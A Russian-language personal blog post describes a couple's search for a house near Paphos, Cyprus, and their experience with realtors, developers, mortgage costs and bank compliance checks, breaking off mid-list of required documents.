Дом на Кипре. Поиск, покупка и ипотека

В прошлом году мысль «А не купить ли нам недвижимость» переросла в стойкое убеждение. Помогли несколько обстоятельств:

  • есть деньги в копилке, а инвестировать не умеем;
  • аренда становится дороже с каждым годом;
  • получить гражданство без своей квартиры или дома почти невозможно.

Но самое главное — у нас никогда не было места, которое мы могли бы назвать своим домом.

До этого, что на Кипре, что в России, мы арендовали свой уголок, и у такого подхода был серьёзный недостаток — не хочется тратить силы и деньги на улучшение всего, от мебели до бытовой техники.

Холодильник стал маловат? Поживём пока с таким, вроде работает. Диван, доставшийся от предыдущего владельца, безнадёжно убился? Купим чехлы из категории «попроще и повеселее». Хочется классную стиралку и посудомойку? А как их вывозить, если контракт не продлят? С матрасом, светильниками, роутерами и «умным домом» — та же история.

Подсчитав финансы и прикинув перспективы, мы поняли, что у нас есть два пути:

  • потратить всё, купить нормальную квартиру или убитый в хлам дом;
  • потратить всё, взять ипотеку и купить нормальный дом.

Первый путь, не сговариваясь, исключили как практичный, но бессмысленный, потому что:

  • если квартира — то соседи в пределах видимости и слышимости, нет личного бассейна, нет возможности влиять на состояние дома;
  • если дом — то всё, что можно купить в пределах нашего бюджета, было тесным, полуразрушенным, заросшим плесенью, далеко от цивилизации и без бассейна (либо всё вместе);
  • если тратить деньги на что-то своё, то пусть это будет то, что мы действительно хотим, без каких-либо компромиссов.

Остался второй путь, и мы решили пойти по нему.

Какой дом мы искали

Если уж влезать в авантюру и тратить все свободные деньги, то стоит это делать без каких-либо компромиссов. Ещё до того, как мы начали искать дом, мы понимали, каким он должен быть, где он должен стоять и чего в нём ни в коем случае быть не должно.

В Пафосе или недалеко от него

Пафос безопаснее Лимассола, спокойнее Айя-Напы, уютнее Ларнаки, комфортнее Полиса и ближе к морю, чем Никосия. Именно поэтому мы живём здесь с конца 2015 года и именно поэтому нам нравится в нём практически всё: тишина, безопасность, малолюдность, наличие необходимой инфраструктуры и транспортная доступность.

Чего уж там, мы любим Кипр и любим Пафос, и никаких вариантов из других регионов мы даже не рассматривали, хотя где-нибудь в Полисе недвижимость при прочих равных значительно дешевле, а в Ларнаке полно новостроек за приемлемые деньги.

Много земли в собственности

Помимо дома, нам была нужна земля под ним, и желательно — побольше. Своя земля даёт возможность с минимумом бюрократии или вообще без неё что-нибудь посадить, закопать, снести или построить. Если своей земли достаточно много, то часть её можно использовать как полосу отчуждения от соседей, которых мы не желаем ни видеть, ни слышать.

Найти такой вариант — чертовски сложно, изрядная часть рынка новостроек — это дома, которые ютятся на куске земли площадью в лучшем случае 300 квадратных метров и с которых видно либо соседей, либо забор, либо (если повезёт) кусок моря где-то вдалеке.

Такие варианты стоят от полумиллиона евро до бесконечности, и кому-то они даже по душе, но уж точно не нам:

Псст, чувак, хочешь купить кирпичную коробку на куске земли площадью с дачный сортир?

Построен и сдан 5—15 лет назад

До недавнего времени гражданство на Кипре можно было вульгарно купить. Всё, что для этого было нужно — потратить много денег и купить недвижимость подороже. Спрос рождает предложение, поэтому на острове полно некачественных и дорогих домов из этой категории.

Такие дома создавались с расчётом на то, что покупатели никогда не будут в них жить. Лучшее, на что они могли сгодиться — сдача в краткосрочную аренду, ну а как правило они просто пустовали и медленно рассыпались. Массовая эмиграция из России и Украины оживила спрос и разогрела рынок, но дома от этого лучше не стали.

Стены толщиной в бумажный лист, один автомат в щитке на весь этаж, вода в проводке после каждого дождя, отваливающаяся пластами штукатурка, отсутствие прямых углов — это бинго, которое легко собрать, покупая дом из этой категории.

С новостройками всё не сильно лучше. Первое время мы пытались найти современный дом в стиле «красивый бетонный куб с панорамным остеклением», но реальность заставила нас отказаться от этой идеи. Такие дома либо дьявольски дороги, либо построены не пойми как, либо ещё даже не построены (и достроят ли их — загадка).

Однажды мы наткнулись на симпатичную виллу, которая выглядела довольно перспективно (правда, на рендере, но срок сдачи был «уже вот-вот, совсем скоро»):

Красивая типовая коробка. Выглядит как дом мечты!

Нашли время приехать и посмотреть на стройку, но стройки как таковой не увидели. Зато увидели пару котлованов, заросших травой, брошенную ржавую бетономешалку и одну недостроенную бетонную коробку (судя по виду, её бросили строить года три назад). Было не очень похоже на то, что все дома сдадут через несколько месяцев.

Недолгий поиск в Гугле помог найти клиента застройщика, чей отзыв заставил задуматься о перспективах:

Worst developers in Cyprus. Please stay away! The owner is taking money from customers but not paying contractors with a lot of debts. They have a very bad name in the market and everyone knows them for not being professional. They are not able to deliver building permits or title deeds as promised. If you are having similar problems with them, please contact me to join a law suit.

Ещё больше смутили фотографии в этом же отзыве:

Ну и личное общение стало последним намёком на то, что у этого застройщика лучше ничего не покупать:

I know that [CENSORED] is in Romania for some time already and is not able to get any permits to continue construction. For our case he promised so much and delivered only rubbish. In the end after 2 years on lies we terminated the contract and finalize ourself. He is not a professional developer and not trustworthy at all, neither his employees or subcontractors are. We paid about 22k Euro to fix the main problem with the roof, but I see that I will need to pay at least 25k more to fix the visual damages. Stay away as much as you can from this Bastard.

Это можно было бы считать несчастливым совпадением, но после того, как мы несколько лет наслаждались граффити «Aristo кидалы» на въезде в одну деревеньку (это уже про другого, но очень крупного застройщика) и после того, как мы посмотрели десяток домов, построенных местной «большой тройкой» (Aristo, Leptos, Paphilia), мы поняли, что на такое не готовы.

Мы любим авантюры, но играть в лотерею «купи новый дом за бешеные деньги прямо сейчас, впишись в ипотеку и вложись через год в капремонт» нам не хотелось. Поэтому решили, что к чёрту новостройки и нафиг красивые, но убогие дома — нам нужен хорошо построенный дом в непопулярной локации, в которой никто никогда не строил недвижимость для программы «золотых паспортов».

Классный вид

«Классный вид» — это вид на что-то приятное и радующее глаза, хоть на горы, хоть на море, хоть на поле для гольфа, лишь бы он был незастраиваемым. Найти такой вид сложно, потому что на Кипре распространена элегантная схема по отъёму денег:

  • строятся виллы с видом на море или горы;
  • виллы благополучно продаются;
  • строятся новые виллы, загораживающие вид ранее построенным;
  • виллы снова прекрасно продаются;
  • шаги повторяются, пока есть деньги, земля и покупатели.
Угадайте, что будет построено на уже расчищенном пустыре через пару-тройку лет?

Наши приятели как раз на этом и обожглись: купили дом с «незастраиваемым» видом, въехали в него, и ещё до того, как успели получить title deed, обнаружили свежую стройку аккурат между своим домом и видом на море. Типичная история.

Единственный способ не попасть в такой блудняк — купить дом там, где физически невозможно что-то подобное. А это либо условная «первая линия», либо на возвышенности и подальше от людей.

Подальше от людей (но не слишком)

Мы оба вот уже лет десять работаем удалённо. Это значит, что мы находимся дома примерно восемьдесят процентов времени, и нам хотелось бы проводить это время в относительном комфорте. А комфорт для нас, помимо очевидных вещей типа хорошего ноутбука и удобного кресла, это ещё и звуковой фон. Поэтому хорошо бы, чтобы этот звуковой фон был тишиной, чтобы не отвлекать нас от работы и не мешать сосредотачиваться.

Несколько лет мы прожили в классном доме, у которого было много достоинств и немного недостатков. Их можно долго перечислять, но самый суровый из них — соседи.

Виллы вокруг нас сдавались в краткросрочную аренду на выходные, каникулы, дни рождения и свадьбы. Из-за этого с начала весны по позднюю осень тихое местечко превращалось в ад.

Пьянки и гулянки — это весело, но не в том случае, когда вы там не участвуете. Орущие люди, веселящиеся люди, бухающие люди, ржущие люди, блюющие люди, в общем, задорно что-то громко делающие люди довольно быстро заставили нас окончательно разочароваться в человечестве. В ковидные времена было относительное затишье, но потом все как с цепи сорвались — чуть ли не каждые выходные в пределах слышимости была шумная вечеринка.

Однажды дом напротив сдали на долгий срок, но стало только хуже. Постоянно брешущие в случайное время невоспитанные собаки доводили нас до белого каления, а хозяйка, истерично на них орущая, не улучшила ситуацию. Истошный крик «Афинааааааа!!!» (так зовут одну из собак, как мы быстро догадались), до сих вызывает у нас вьетнамские флэшбэки. Ну а собаке было всё равно, она продолжала брехать, выть, лаять, визжать и гонять десяток котов, которых мы кормили. Добавьте к этому парочку отелей по соседству, где частенько проходили разнообразные свадьбы с живой музыкой до пяти утра — и вы поймёте, почему нам хотелось жить подальше от людей.

В конечном счёте, если вокруг тебя нет соседей — это гарантия тишины и спокойствия, а если вдруг захотелось социализации — то всегда можно или пригласить гостей, или напроситься в гости, или поехать туда, где много людей. Появляется возможность выбора, которого не было бы, если бы дом был в типичном комплексе вилл, в котором на 1000 квадратных метров приходятся 2—5 домов.

Впрочем, забираться в горные ебеня тоже не хотелось — возможность за полчаса добраться до города нам бы тоже не помешала. Поэтому хорошо бы найти дом одновременно далеко от людей и недалеко от цивилизации.

С нормальными документами

Местный аналог свидетельства о праве собственности — титул (он же title deed). На Кипре он важен, но не обязателен.

Дом без титула — самострой, законно в нём жить не получится, зато на строительные нормы можно болт положить, ну а риски принудительного сноса, если нечто похожее на дом стоит на частной земле, приближаются к нулю.

Нас этот вариант не устраивал, потому что, во-первых, нафига вязываться в такую авантюру, и во-вторых, даже если бы захотели странного, банк под такое обеспечение своих денег не отсыпет. Вывод — дом и земля должны быть с титулом.

Опция «титула нет, но он скоро будет, только купите» рассматривать тоже не стоит. Мы нашли неплохой дом в отличном месте, который выглядел очень прилично и который буквально манил нас, но я догадался задать риэлтору вопрос «А что там с титулом» и получил честный ответ:

Its a lovely house but it’s worth me pointing out despite it being in the listing that this property does not have a separate title deed., the developer applied for a certificate of compilations over a year ago it still does not have a title deed and I’m unable to give any further updates as to when this may happen.

Короткий разговор по телефону добавил деталей: это уже третий собственник, который пытается получить титул, у него это не выходит и он, отчаявшись, продаёт дом следующему неудачнику. Так себе история, по возможности избегайте такого.

Ну и ещё хорошо бы, чтобы помимо титула у продавца был весь комплект прочих документов — поэтажные планы, разрешения на строительство, план участка, кадастровая выписка и план коммуникаций. Всё это, конечно, подразумевается, раз уж есть титул, но когда эти документы понадобятся — их придётся восстанавливать, а это время и деньги.

Со своим бассейном

Бассейн на Кипре незаменим. Когда на улице жарко, в него можно плюхнуться, охладив душу и тело. Когда приехали гости, у бассейна можно тусить и пить винишко. Когда вернулся с пробежки, можно в него упасть и поорать от наслаждения.

В общем и целом, с бассейном лучше, чем без него, а ещё лучше — когда бассейн свой и никто не мешает им наслаждаться. Так что дом без бассейна — деньги на ветер. Ну и вообще, как, по слухам, говорил Фрэнк Ллойд Райт, «бассейн необходим со всех точек зрения».

Много места и комнат

Десять лет жизни в однокомнатной квартире в Москве как бы намекают, что простор лишним не бывает. Приятно, когда в спальню влезет здоровая кровать. Хорошо, когда есть домашний офис — удобные кресла и столы требуют простора. Круто, когда есть комната для гостей, чтобы они могли остаться на ночь. Удобно, когда в огромные шкафы не просто влезают все вещи, а ещё и остаются пустые полки на будущее. Ну а несколько ванных поднимают комфорт до небес.

Нам важно, чтобы на первом этаже, помимо кухни и гостиной, была хотя бы ещё одна комната — для домашнего офиса. И ещё важно, чтобы кухня не была изолирована от гостиной — нам так удобнее, приятнее и привычнее.

Абсолютно пустой

Сначала хотели найти дом мечты — с кухней, спальней, гостиной и ванными, которые нам нравятся. Воображение услужливо подсовывало короткий фильм о том, как мы просто берём и переезжаем в дом, в котором ничего не нужно делать. Ну, может, телевизор новый купить или матрас, да и всё.

Увы, так не получилось. Обставленные дома значительно дороже либо завалены барахлом. Но и в том, и в другом случае пришлось бы что-то менять. Так какой тогда смысл тратить деньги на то, что всё равно поменяешь? Так что по этому вопросу определились достаточно быстро и абсолютно однозначно: дом должен быть абсолютно пустым.

Без свистелок и перделок

На рынке новостроек и вторички полно домов, построенных любителями вычурного шика а-ля русс тридцатилетней давности. Колонны, золото, лепнина, винтовая лестница, бежевые тона, обои в крупных цветах, вот это вот всё. В качестве бесплатного приложения к таким объектам недвижимости обычно идёт трёхметровый забор из колючей проволоки, фонтан, газон и опционально российский флаг.

Если вы думаете, что я шучу или преувеличиваю, то вы не видели того, что видели мы — парочка таких домов построена недалеко от Sea Caves в Пафосе, и на одном из них уже давно висит табличка For Sale. Как вы уже поняли, эти дома — совершенно не в нашем стиле, и даже подходящие по цене варианты из этой категории мы не рассматривали.

Как мы искали дом

Определившись с требованиями, мы ломанулись искать подходящие варианты. В ход пошло всё — личные контакты, сайты риэлторских агентств, местные маркетплейсы и даже богомерзкий Фейсбук.

Ожидание: сейчас посмотрим пару вариантов, выберем лучший и пойдём в банк. Реальность: подержи моё пиво!

Нам понадобилось полгода, чтобы:

  • ввязаться в переписки с десятком риэлторов;
  • пролистать пару тысяч объявлений;
  • рассмотреть в деталях — пару сотен;
  • обсудить самые интересные;
  • посмотреть лично десяток домов.

Риэлторы: агентства, сайты и общение

Рабочий процесс выстроился сам собой довольно быстро:

  • раз в несколько дней ходим по сайтам риэлторских агентств;
  • находим несколько вариантов;
  • обсуждаем каждый из них несколько раз;
  • повторяем до тех пор, пока не останется хотя бы два-три;
  • пишем в агентство и пытаемся устроить просмотр.

Реальность быстро привела нас в чувство:

  • хороших сайтов с фотографиями и описанием почти нет;
  • один и тот же дом за разную цену может быть на нескольких сайтах;
  • 50 % риэлторов не перезванивают и не отвечают;
  • 40 % риэлторов присылают что-то абсолютно бесполезное;
  • 10 % риэлторов рады помочь, но у них ничего нет;
  • риэлторы теряют интерес, если не смогли помочь за пару недель.

Мы стали чемпионами по переводу с риэлторского языка на человеческий:

Неповторимый оригинал Жалкое подобие
Уединённое место Ебеня, даже для нас
Развитая инфраструктура Шумно и грязно
Держите скидку (сразу) Да ну нафиг
Дом продаётся уже три года Случилось нечто ужасное
Небольшие проблемы с титулом Даже не думай
Дом с жильцами, покупайте, съедут Дом со сквоттерами
Приезжайте, как раз всё подкрасили Скрывают недостатки
Сделаем скидку на обслуживание сада Больше нечем заманить

Один раз мы были близки к победе, но до финала не дошли. На сайте одного агентства нашли симпатичный дом. Состояние у него было, конечно, аховым, но сам дом был неплохим, всем требованиям вполне соответствовал и главное — можно было его выкупить дешевле, чем указано на сайте.

Фишка в том, что дом принадлежал банку, который отобрал его у неплательщика по ипотеке. Раз в несколько недель банк проводит аукцион и пытается продать всё, что у него есть, с молотка. Мы решили, что никто не мешает сделать ставку, победить, ввалить в дом много денег и въехать.

К сожалению, через неделю риэлтор написала нам, что банку ставка не понравилась, а неофициально она добавила, что у банка есть пожелание по цене, ниже которой они не готовы соглашаться на предложение. Пожелание было довольно идиотским — за цену, которую хотел банк, можно купить кое-что получше аккурат в том же месте. Ну раз нет — значит нет, проехали и забыли.

Через пару месяцев мы познакомились с другим риэлтором, у которой был контакт в банке, с которым можно было поговорить и прийти к компромиссу. Предложение выглядело интересно и мы уже хотели начинать переговоры, но внезапно мы сели в лужу.

Оказывается, подав заявку на аукционный лот через одного риэлтора, ты не можешь подать заявку в следующий раз на тот же лот уже через другого, до тех пор, пока первый риэлтор это не согласует. В общем, это разумная антикоррупционная мера, которая помогает избежать множества неприятных ситуаций, но в нашем случае механизм сработал криво.

Причина — отбитость первого риэлтора. Отпускать нас она не захотела, причём чисто из вредности — мы были готовы в качестве компенсации заплатить всю комиссию, которая она получила бы, если бы мы работали через неё. Но нет, она упёрлась рогом и тупо сбрасывала звонки. Обидно.

В конце концов, осмотрев несколько домов и наобщавшись с разными странными людьми, мы сосредоточились на двух риэлторах, с которыми поддерживали регулярное общение и которые регулярно нам что-то присылали. Примерно один из пяти домов стоил того, чтобы его осмотреть или хотя бы уточнить у риэлтора детали, но ничего интересного нам не попадалось.

Под конец всей авантюры нашли два симпатичных дома, по одному от каждого риэлтора, но первый выкупили у нас под носом прямо за день до визита в банк, а второй освободился уже тогда, когда мы подписали документы на ипотеку.

Дома снаружи и внутри

Всё это не мешало нам записываться на просмотры, во всех деталях разглядывать дома внутри и снаружи и становиться всё более «насмотренными». За четыре месяца мы настолько преисполнились, что выработали циничный алгоритм осмотра дома, занимающий меньше часа.

Всё просто. Приезжаем и начинаем носиться по дому и участку, заглядывая во все двери, люки и щитки, включая и выключая воду и свет, разглядывая трещины, дырки и потёки на всех поверхностях, заглядывая за мебель и проверяя, что из этого исправить можно, а что — нет (или это будет слишком дорого).

Трещины и сколы краски, поверхностная плесень, плохие кондиционеры, убитая бытовая техника, древняя мебель и ужасная сантехника — это проблемы, которые несложно устранить. А вот текущие трубы, искрящая проводка, многослойные лохмотья плесени, дырявая крыша и сквозные трещины в стенах — это уже повод задуматься о том, нужен ли такой дом.

Большинство домов снаружи выглядит лучше, чем внутри. Если снаружи дом выглядит хорошо, то обычно внутри всё так себе; если же снаружи дом так себе, то внутри — лютый кошмар. Несколько домов, которые мы посмотрели реально и виртуально, имели примерно такой экстерьер:

С интерьером всё сложнее. Комнаты дома, простоявшего без жильцов несколько лет, довольно быстро теряют лоск, приобретая заброшенный, потёртый и скучный вид. Трещины на краске, сомнительные пятна в случайных местах, потёки, потёртости — всё ожидаемо, но неприваычно. Если в доме кто-то жил или живёт, то добавьте древнюю мебель, дырки в стенах и непонятную рухлядь по углам.

В основном нам попадались неплохие варианты:

Но иногда можно было увидеть то, что хочется забыть — например, использование бетонной чаши бассейна вместо кладовой (хорошо хоть без воды) или новый вид, зарождающийся в забытой рисоварке (надеюсь, что мне это показалось).

У нас осталось немного фотографий, которые показывают, как выглядят неплохие дома, доведённые до крайне неприличного состояния и стоящие при этом, как крыло от Боинга:

Но последствия протечек и толстый-толстый слой чёрной плесени — однозначный индикатор того, что дом в таком состоянии брать не стоит. Хуже только свежеперекрашенный дом (если прямо перед просмотром стены щедро залили краской, из-под которой иногда что-то подозрительно просвечивает — дело плохо).

Как мы нашли дом

Первое упоминание о нашем будущем доме было третьего сентября. Третьего сентября, Карл!

Как раз тогда мы были в гостях, на дне рождения, спокойно отдыхали от тяжёлой недели, и вдруг Таня присылает мне ссылку на местный маркетплейс. А там — дом:

Из объявления было понятно чуть менее, чем ничего:

  • описание — подробное, но без деталей: вот дом, там три спальни, бассейн и тёплые полы, стоит на холме, прекрасные виды, просторные веранды;
  • фотографии — датированы аж две тысячи девятым годом, а их качество относилось к категории «снимали на тапок», причём ничего внятного на них не изображено;
  • место — нечто непонятное, ясно только то, что это где-то в Пафосе, относительно недалеко от обоих шоссе и аэропорта;
  • объявление — свежайшее, опубликовано за несколько часов до того, как мы его увидели, в истории у продавца никаких лотов не было;
  • застройщик — абсолютно незнакомый, без внятных отзывов в Интернете, зато с сайтом, который, кажется, ещё Фронтпейдж повидал.

Всё это выглядело ровно настолько странно, чтобы нас заинтересовать. Опять же, с маркетплейсом нас связывают тёплые чувства: первую квартиру, которую мы нашли за бесценок и в которой не без удовольствия прожили несколько лет, мы нашли именно там. Причём фотографии были ещё хуже, а описания не было вообще.

Никаких иллюзий ни у меня, ни у Тани не было, но раз уж есть возможность посмотреть необычный дом — то почему бы ей не воспользоваться? Один звонок — и мы договорились о просмотре. Получилось очень удачно, деревню, в которой построен дом, мы проезжали по пути со дня рождения, так что в худшем случае мы потеряли бы час времени.

Через два дня (да, день рождения был долгий и классный) приехали на осмотр. Пока ждали продавца (продавец оказалась милой гречанкой по имени Вера, и заодно архитектором этого проекта), погуляли по участку, ну а потом вместе с ней уже прошлись и по дому:

Первое впечатление оказалось противоречивым:

  • участок здоровый, но запущенный;
  • есть бассейн, но убитый;
  • вокруг никого, но рядом дорога;
  • много окон, но они ужасные;
  • есть мебель на кухне, но она отвратительная;
  • кондиционеров нет, но есть разводка под них.

Кое-что, всё-таки, порадовало:

  • внутри дом ни разу не перекрашивали, и если за годы внутри не наросло пары тонн плесени, то это уже достижение;
  • активного ремонта требовала всего одна комната, во всех остальных можно жить хоть сейчас;
  • стены дома оказались раза в полтора толще, чем везде, где мы жили до этого, а это хорошо для теплоизоляции;
  • в какую сторону ни посмотри — открывается изумительный незастраиваемый в ближайшие лет двести вид;
  • только один сосед, валлийский пенсионер, который никогда не будет сдавать дом громким туристам;
  • в радиусе десяти километров нет отелей, в радиусе трёх километров кроме нас и соседа нет вообще никого;
  • до центра Лимассола можно добраться за сорок минут, до центра Пафоса — за двадцать;
  • в пяти минутах езды — небольшой гипермаркет со всем необходимым;
  • продавец, застройщик и архитектор дома — одно и то же лицо;
  • «тёплый пол» — редкость на Кипре.

Наверное, целый час мы рассматривали дом чуть ли не с микроскопом, задавали продавцу десятки вопросов разной степени вменяемости, на которые она с готовностью отвечала. Особенно нас интересовало, почему дом выставили на продажу именно сейчас?

Ответ оказался ожидаемым. Небольшой застройщик планировал построить здесь комплекс из полутора десятков вилл, но не пережил двух кризисов (банковского и жилищного), а окончательно его добило ужесточение требований к застройщикам по нормам достаточности капитала.

В итоге проект оказался заморожен. Интересных активов у застройщика не оказалось, поэтому продаться крупным конкурентам не получилось.

Своих денег у компании не оказалось, а инвесторам проекты в наших краях менее интересны, чем на первой линии. Сложновато продать дом, который построен буквально in the middle of nowhere. Поэтому всё, что оставалось — попытаться продать уже построенные дома.

Один из них благополучно продали, а вот второй дом глава семьи и по совместительству отец Веры продавать не хотел по личным причинам. Если я правильно помню, он его хотел оставить Вере и её братьям, но им было интереснее жить поближе к цивилизации и к своим детям (а также внукам и правнукам).

Ситуация изменилась, когда отец умер. Всем захотелось выставить дом на продажу, получить деньги и закрыть этот вопрос навсегда. И так случилось, что через пару часов после публикации объявления Вера получила наш отклик.

Объяснение нас устроило, дом и участок нам понравились, но мы решили взять пару дней на подумать и всё обсудить между собой. На этом мы вежливо попрощались с Верой, поехали домой и, пока ехали, уже за десять минут успели обсудить вообще всё, что пришло в голову и принять решение. Достоинства и недостатки были очевидны, поэтому мы остановились на обочине, позвонили Вере и сказали:

«Всё офигенно! Мы хотим купить ваш дом!».

После короткого разговора пришлось разворачиваться и ехать в соседнюю деревню: Вера и её супруг пригласили нас присоединиться к ним за мезе в таверне (а заодно, очевидно, пройти неофициальную проверку на адекватность и вменяемость). Ничего страшного, но два часа поддерживать small talk на неродном языке с собеседниками, которые нам в дедушки годятся и с которыми у нас из общего пока только то, что они собираются продать нам дом, а мы хотим его купить — так себе опыт.

Но в итоге всё прошло хорошо и мы, заручившись их поддержкой, которая нам потом чертовски пригодилась, поехали домой.

Как мы оформляли ипотеку

Старые добрые времена, о которых ходят легенды, прошли ещё десять лет назад. Тогда недвижимость была дешёвой, кредиты — бесплатными, а комплаенс в банках работал по принципу «на нет и суда нет».

Потом грянула череда жилищных и банковских кризисов, которые сделали кредиты сложными и дорогими, но доступными. А потом началась война, которая сделала обладателей красных паспортов с двуглавой курицей на обложке стрёмными, мутными и токсичными клиентами. Счета открывают со скрипом, а тут аж целая ипотека — банку проще отказать, чем ввязываться в сомнительную историю с неочевидным итогом.

Несмотря на это, у нас было ощущение, что ипотеку нам всё-таки дадут, просто придётся знатно помучаться. Как-то так и получилось, только всё было намного хуже, чем мы думали.

Ожидание:

  • первый взнос в 20 % нам не одобрят, но 30 % — вполне;
  • все бумажки у нас в порядке, их даже больше, чем нужно;
  • налоги платим вовремя и много, бэкграунд — белее некуда;
  • банк нас любит и нам поможет;
  • дедлайн — аж целых 3 месяца, легко уложимся.

Реальность:

  • куча затрат;
  • адский комплаенс;
  • дохренища бумажек.

Единственное ожидание, которое стало реальностью — процентная ставка. Для неграждан Кипра получить фиксированную ставку (временно или постоянно) уже давно невозможно, поэтому мы даже не рассчитывали на такую роскошь. Но плавающая ставка — это не так плохо, если точно знаешь, как она формируется.

Алгоритм раскрыт в кредитном договоре и в нашем случае он такой:

  • берём Main Base Interest Rate, он же Reference Rate, это базовая кредитная ставка (в августе 2023 года — 0,8 %);
  • добавляем к нему процентную ставку по вашему кредиту, железобетонно зафиксированную в кредитном договоре (не знаю точно, как это называется, но в документах это Margin и в нашем случае это 2,25 %);
  • складываем одно с другим и получаете эффективную ставку, и на момент написания заметки это 3,05 %.

Куча затрат

Первое, что пришлось заплатить — депозит. Он нужен, чтобы продавец снял недвижимость с продажи, распубликовав объявление с сайтов или поставив в них метку under offer. Размер зависит от наглости продавца и обычно не превышает пары тысяч евро, которые всё равно потом идут в зачёт первого взноса. Платили обычным банковским переводом, никаких проблем не было.

Через неделю потратили 300 € за оценку недвижимости. Оценщик банка сделал всё быстро и безболезненно, а оплата его услуг списалась через пару дней после того, как он завершил все необходимые процедуры. Почти всегда оценка банка меньше, чем цена в договоре, а так как банк даёт ипотеку, руководствуясь своей оценкой, то разница доплачивается из своего кармана. Тут нам повезло: договорная цена и оценка банка совпали.

Дальше был первый взнос по ипотеке. Мы надеялись, что банк нам больше 30 % не зарядит, но реальность оказалась намного хуже. В итоге пришлось заплатить ровно половину. Причина этого не только в том, что все клиенты с российским паспортом относятся к категории high risk, но и в том, что дом, находящийся далеко от цивилизации, менее ликвиден и банку будет его сложнее продать, если заёмщики не осилят выплату.

Первый взнос мы платили несколько недель, разбив платёж на три части и борясь с параллельно протекающим комплаенсом.

Первую часть отправили без проблем, вторую — с разрешения начальника отдела комплаенса, а третья удостоилась личного подтверждения начальника отделения. Два из трёх платежей уходили банковскими чеками (которые не cheque, а banker’s draft), а один — обычным переводом.

Дальше обычно оплачивают услуги юриста. Типичный гонорар за сопровождение сделки — 2 % от цены недвижимости, указанной в договоре, причём до половины от гонорара нужно заплатить вперёд. Когда мы поняли, что без юриста нам не обойтись, мы пошли к нашей знакомой, которая сразу согласилась нам помочь, сделала огромную скидку, да ещё и предложила подождать с оплатой её услуг до лучших времён. В итоге, мы заплатили ей, кажется, уже после того, как переехали.

От затрат на юриста уйти не получится — банк требует, чтобы сделку сопровождал дипломированный специалист. Обычно от этого никакого толку, но нам юрист сильно помогла. Она собрала для нас важные документы, проверила во всех бумажках каждую букву и убедилась в том, что в разрешении на строительство, поэтажных планах, топографических планах и прочей бюрократической макулатуре всё в порядке.

Незадолго до закрытия сделки, когда всё уже точно было хорошо, застраховали дом от пожара и купили страховку жизни. У нашего банка своя страховая компания, и, хотя формально можно было отказаться от любезного предложения, по совету нашего страхового агента решили не выпендриваться. Обошлось в пределах нескольких сотен евро в год.

Ещё пришлось заплатить взнос за смену собственника, который зависит от цены недвижимости (3—8 %) и который можно срезать в два раза, если недвижимость регистрируется на семейную пару.

Важный момент: если покупается новостройка, то вместо взноса за смену собственника придётся платить НДС, 5—19 %.

Ну и последняя трата, которая неприятно удивит всех ипотечников — госпошлина за регистрацию ипотечного договора. Размер пошлины — 1 % от стоимости ипотеки. Заплатить придётся одновременно с взносом за смену собственника.

Под занавес — хорошая новость: с 2015 года налог на недвижимость на Кипре отменили, ура-ура!

Адский комплаенс

Незадолго до ипотеки нам прилетел очередной ежегодный KYC/AML запрос от банка, который естественным образом наложился на комплаенс при подаче заявления на ипотеку. Когда мы прошли плановый комплаенс и оказались в середине комплаенса ипотечного, прилетел внеплановый комплаенс, а когда мы почти прошли его — схлопотали расширенный комплаенс по ипотеке.

Хронология событий за 2022—2023 годы примерно такова:

  • в начале июля начался очередной комплаенс;
  • в середине июля начался комплаенс по ипотеке;
  • в конце июля начался расширенный комплаенс;
  • до середины августа бесконечные объяснения и уточнения;
  • в начале сентября нашли дом и зарезервировали его;
  • до конца октября — расширенный ипотечный комплаенс;
  • в конце октября — одобрили ипотеку;
  • через пару недель — подписали договор купли-продажи;
  • с октября по конец ноября платили первый взнос;
  • с конца ноября по конец декабря собирали бумажки;
  • с конца декабря по середину января переделывали бумажки;
  • в середине января всё наконец закончилось.
Пройди четыре комплаенса в один заход и получи проблемы с кукухой в подарок!

Потребовалось очень много бумажек, объяснений, визитов в банк, телефонных звоноков и даже одна презентация, чтобы объяснить банку каждый цент, заработанный каждым из нас за последние 8 лет, а также сообщить банку, что мы — надёжные заёмщики, которым нечего скрывать и которые уж точно будут вести себя хорошо.

Не то чтобы каждый день у нас случался нервный срыв. Более того, ни одного нервного срыва на наш счёт записать нельзя, однако уровень тревожности достиг совершенно нереальных масштабов. Под конец, когда приходило уведомление о новом письме из банка, я десятки минут собирался с силами, чтобы его открыть. Ну а чтобы описать, что мы испытывали, когда получали звонок от банка, не хватит объединённого словарного запаса человечества.

Нам очень, очень, очень повезло с банком. Начальник отделения, начальник отдела комплаенса и начальник кредитного отдела делали всё, что можно, чтобы процедура была наименее нервной и наиболее адекватной. Общение было всегда дружелюбным, нам всегда давали полезные советы, нам всегда отвечали прямо и честно, наши письма никогда не терялись, и это не давало нам окончательно свалиться в пучину тревожности.

Каждый раз, когда случалась какая-то фигня, нам шли навстречу — и юрист, и продавец, и банкиры, и друзья:

  • комплаенс ещё не разрешил исходящие платежи — но начальник комплаенса под свою ответственность его авторизовал, что дало нам возможность заплатить первый взнос;
  • документы собрали за неделю до дедлайна, слоты в регистрационной палате закончились — начальник кредитного отдела выбила слот в последние дни действия оферты;
  • первый взнос по ипотеке превысил наши финансовые возможности — друзья выручили нас и помогли с деньгами, а юрист дала рассрочку по платежу «когда оплатите, тогда и оплатите»;
  • продавец дала доступ в дом ещё до полной оплаты первого взноса, что позволило нам начать ремонт за месяц до переезда, а въехали мы в него ещё до того, как сделку зарегистрировали;
  • срок действия части документов протух 31 декабря, их нужно было переделать буквально за неделю, обычно процедура занимает месяцы — но продавец всё сделала буквально за два дня.

Только благодаря всем им мы добежали до финиша и 18 января 2023 года закрыли сделку. Всё прошло быстро и буднично: час ожидания, пара рукопожатий, две подписанные бумажки — и нам вручили два title deed, подтверждающих, что теперь у нас есть свой собственный дом. Ура!

Дохренища бумажек

Так как мы проходили четыре комплаенса одновременно, то сложно сказать, что банк попросит у вас, а что — не попросит. Но если ориентироваться на наш хардкорный опыт (не думаю, что кто-то соберёт такое же бинго), то, скорее всего, вам понадобится что-то из этого списка:

  • паспорта (заграничный, он же международный, и обычный, он же национальный), свидетельство о браке, бумажка о присвоении ARC, все карточки ВНЖ (если «принтер в мигрейшне опять сломался» — то нужна квитанция);
  • действующий и все предшествующие договоры аренды местной недвижимости (для арендаторов) или title deed (для собственников), счета за коммунальные услуги (вода, электричество, доступ в Интернет) хотя бы за последние 3 месяца, а лучше — вообще все;
  • справки о несудимости из России (подойдёт электронная, из Госуслуг) и Кипра (получать в окружном отделении полиции, выдают за пару дней);
